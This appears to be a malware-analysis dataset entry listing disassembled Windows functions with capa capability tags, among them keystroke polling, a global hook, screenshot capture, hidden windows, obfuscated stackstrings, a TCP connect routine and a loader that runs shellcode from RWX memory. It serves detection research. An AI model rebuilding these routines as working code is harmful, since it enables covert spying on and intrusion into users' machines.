joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43787c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x437a27
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x437a08
mov dl, 1
mov eax, dword [0x411b1c]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403e98
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4379f7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004531a4
test al, al
je 0x4379ea
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x437a38
lea eax, [ebp - 0x254]
call fcn.004089d8
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4379ea
xor eax, eax
push ebp
push 0x4379e3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x437a70
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4379cc
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404108
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4379cc
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404108
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4379ea
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4378ed
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415734
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x437a2e
lea eax, [ebp - 0x260]
call fcn.00403e98
ret

Function at 0x43835c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x457b20]
cmp byte [eax + 0xa5], 0
jne 0x4383cd
cmp dword [0x457b38], 0
jne 0x43838e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x438318
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x457b38], eax
cmp dword [0x457b34], 0
jne 0x4383a9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x457b34], eax
cmp dword [0x457b3c], 0
jne 0x4383cd
push esp
push 0
push 0
push 0x4382bc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x457b3c], eax
pop edx
ret
Function at 0x4384c4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4384db
add esp, 0xfffffff0
call fcn.004033e4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004195d8
mov eax, dword [0x456000]
cmp word [eax + 2], 0
jne 0x438503
mov eax, dword [0x456000]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00439a18
mov eax, dword [0x4560a8]
cmp word [eax + 2], 0
jne 0x43851d
mov eax, dword [0x4560a8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00439c10
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411700]
call fcn.004030a8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411700]
call fcn.004030a8
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41bdcc]
call fcn.00421a88
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4386a4
mov eax, dword [0x455f1c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00421e58
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x43a1b0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x455f1c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c264
test eax, eax
je 0x438612
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004083cc
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c28c
test eax, eax
je 0x438626
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404108
mov eax, dword [0x455e14]
cmp byte [eax], 0
jne 0x43865a
mov eax, ebx
call fcn.004387cc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0043a38c
mov eax, ebx
call fcn.0043ad50
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x43869a
call fcn.0040343c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x438a4c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x457b20]
cmp dword [eax + 0x30], 0
je 0x438af6
cmp dword [ebx + 0x94], 0
jne 0x438af0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4389dc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x438af0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x438ab6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x438af0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413ba4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x438ac5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x439658
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x43968d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f88
jmp 0x43969a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403eec
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x43a568
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x43a5a9
mov eax, esi
call fcn.0044e820
test al, al
je 0x43a5a9
mov eax, dword [ebx + 0x84]
call fcn.0044e51c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43a5a9
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044e51c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x43d4c4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403e98
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43d513
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404108
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4458a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x457ba0], 0
je 0x4459ef
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x45608c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x4459ef
mov eax, dword [0x457ba4]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x457ba0]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4459be
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x457ba0]
call fcn.00413ba4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4459b6
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4459b6
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4459b6
mov eax, dword [ebp - 0x14]
call fcn.0044e51c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4459b6
push ebp
call fcn.0044585c
pop ecx
test al, al
jne 0x4459b6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x445972
mov eax, dword [ebp - 0x14]
call fcn.0044d04c
dec eax
jle 0x4459b6
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004032d4
cmp byte [ebp - 1], 0
je 0x4459b6
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4459b6
mov edx, dword [ebp - 0x14]
mov eax, dword [0x457ba4]
call fcn.00445028
inc edi
dec ebx
jne 0x445905
mov eax, dword [0x457ba4]
cmp dword [eax + 8], 0
jle 0x4459d6
mov eax, dword [0x457ba4]
call fcn.004450b8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4459ef
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004456c4
pop ecx
test al, al
jne 0x4459ef
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x448fb4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x449000
mov eax, esi
call fcn.00430df8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x449000
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x449000
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x44913f
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x449040
cmp eax, 0x108
ja 0x449040
mov eax, esi
call fcn.00430df8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x449136
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x44913f
jmp 0x449136
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x44911f
cmp eax, 0x20a
ja 0x44911f
test byte [esi + 0x50], 0x80
jne 0x449072
sub eax, 0x203
je 0x44906f
sub eax, 3
je 0x44906f
sub eax, 3
jne 0x449072
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x449086
dec eax
je 0x44909b
dec eax
je 0x4490b8
dec eax
je 0x44909b
jmp 0x4490bf
mov ecx, ebx
mov eax, dword [0x45608c]
mov eax, dword [eax]
mov edx, esi
call fcn.0043a420
jmp 0x449136
cmp byte [esi + 0x5d], 1
jne 0x4490b1
mov eax, esi
mov si, 0xffed
call fcn.004032d4
jmp 0x44913f
or word [esi + 0x54], 1
jmp 0x449136
and word [esi + 0x54], 0xfffe
jmp 0x449136
mov eax, dword [0x457b5c]
cmp byte [eax + 0x20], 0
je 0x449136
mov eax, dword [0x457b5c]
cmp dword [eax + 0x1c], 0
je 0x449136
mov eax, dword [ebx]
mov edx, dword [0x457b5c]
cmp eax, dword [edx + 0x1c]
jne 0x449136
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00430d3c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004032d4
jmp 0x44913f
cmp eax, 0xb00b
jne 0x449136
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.004478f0
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c6ac
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x44c6c8
cmp dword [esi + 4], 0
je 0x44c6f5
test byte [ebx + 0x55], 1
jne 0x44c6e7
mov eax, ebx
call fcn.0044b24c
test eax, eax
jne 0x44c6e7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x44c805
mov edx, esi
mov eax, ebx
call fcn.0044c1d0
jmp 0x44c805
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x44c7fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0044e51c
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00448ee8
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0044c6ac
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0044e51c
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c805
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452e44
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4561fc]
cmp byte [eax + 0xc], 0
je 0x452fb1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x452faa
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x457bb0], 0
jne 0x452e98
push 0x452fb8
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
push 0x452fc0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bb0], eax
cmp dword [0x455de4], 0
jne 0x452f93
push 0x452fd0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x455de4], eax
cmp dword [0x455de4], 0
je 0x452f93
push 0x452fdc
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bb4], eax
push 0x452fec
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bb8], eax
push 0x453000
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bbc], eax
push 0x453018
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bc0], eax
push 0x453030
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bc4], eax
push 0x453044
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bc8], eax
push 0x45305c
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bcc], eax
push 0x453074
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bd0], eax
push 0x453090
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bd4], eax
push 0x45309c
mov eax, dword [0x455de4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457bd8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452fb1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x401028
Capabilities:
Get common file path

Disassembly:
push edi
sub esp, 0x200
mov edi, esp
push 0x78
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
lea edx, [edi + 0x7c]
xor ecx, ecx
push ecx
push ecx
push ecx
push edx
push ecx
push edi
add edi, eax
mov eax, 0x69636d5c
stosd dword es:[edi], eax
mov eax, 0x33697661
stosd dword es:[edi], eax
mov eax, 0x6c642e32
stosd dword es:[edi], eax
mov eax, 0x6c
stosd dword es:[edi], eax
call sub.KERNEL32.dll_FindFirstFileExA
add esp, 0x200
pop edi
cmp eax, 1
jg 0x401070
ret
pushal
jmp fcn.00401278

Function at 0x401130
Capabilities:
Delete directory

Disassembly:
mov edi, edi
push ebp
mov ecx, 0x4031e8
push ecx
push ecx
mov edi, esp
push edi
push 0x2b
add dword [esp], 0x15
mov eax, 0xfffffe6c
push eax
add dword [esp], 0xaec
push section..data
sub edx, edx
sub edx, sym.imp.KERNEL32.dll_VirtualProtect
neg edx
call dword [edx]
pop ecx
pop ecx
mov ebx, 0x403400
mov dword [ecx - 0xb0], ebx
lea edi, [ebx + 0x5c]
mov esi, 0x4020f9
xor eax, eax
cmp eax, 0x558
je 0x40119e
sub eax, 0xfffffffc
mov ebx, dword [esi]
add esi, 3
inc esi
mov dword [edi - 0x5c], ebx
add edi, 4
xor dword [edi - 0x60], 0x7369a3c7
sub dword [edi - 0x60], 0x4eac6723
jmp 0x401178
push ecx
mov ebx, 0
push ebx
call sub.KERNEL32.dll_RemoveDirectoryA
pop ecx
pop ebp
ret 0xc
Function at 0x401200
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4026ab
push eax
mov eax, dword [section.Shared]
mov dword fs:[0], esp
sub esp, 0x14
inc eax
mov dword [section.Shared], eax
mov eax, dword [section.Shared]
cmp eax, 1
jle 0x401246
push 0
push 0
push 0x404040
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [str.GETSERVER2.0]
mov edx, dword [0x404034]
mov eax, dword [0x404038]
push esi
mov dword [esp + 8], ecx
mov cl, byte [0x40403c]
push edi
push 0x9b8d8
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x1c], cl
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 8], eax
test eax, eax
mov dword [esp + 0x24], 0
je 0x401297
mov ecx, eax
call fcn.00401e60
mov esi, eax
jmp 0x401299
xor esi, esi
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.00401fa0
test eax, eax
je 0x4012ba
lea edx, [esp + 0xc]
push 0xd
push edx
mov ecx, esi
call fcn.00402190
mov eax, dword [esi + 0x4dc74]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4012d8
push 0x64
call edi
mov eax, dword [esi + 0x4dc74]
test eax, eax
je 0x4012ca
push 0xffffffffffffffff
call edi
mov ecx, dword [esp + 0x1c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret

Function at 0x401e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov al, 0x53
mov byte [esp + 9], al
mov byte [esp + 0xb], al
mov dword [esi], 0x4037a4
mov ecx, dword [0x404600]
lea eax, [esp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x16], 0x41
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], bl
call edi
lea edx, [esp + 0x28]
push edx
push 0x202
call eax
mov ecx, dword [0x4045fc]
mov al, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call edi
push ebx
push ebx
push 1
push ebx
call eax
mov dword [esi + 0xc], eax
mov ecx, 0x13718
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4dc74], ebx
mov dword [esi + 4], ebx
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1ac
ret
Function at 0x401fc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x401fe3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402046
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x401fee
push 0
push 0
push esi
push 0x402070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x402140
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0x4dc60
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40215d
pop esi
ret
push edi
push 0
push 0
push eax
mov ecx, 0x13718
add esi, 0x4dc78
mov edi, eax
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
ret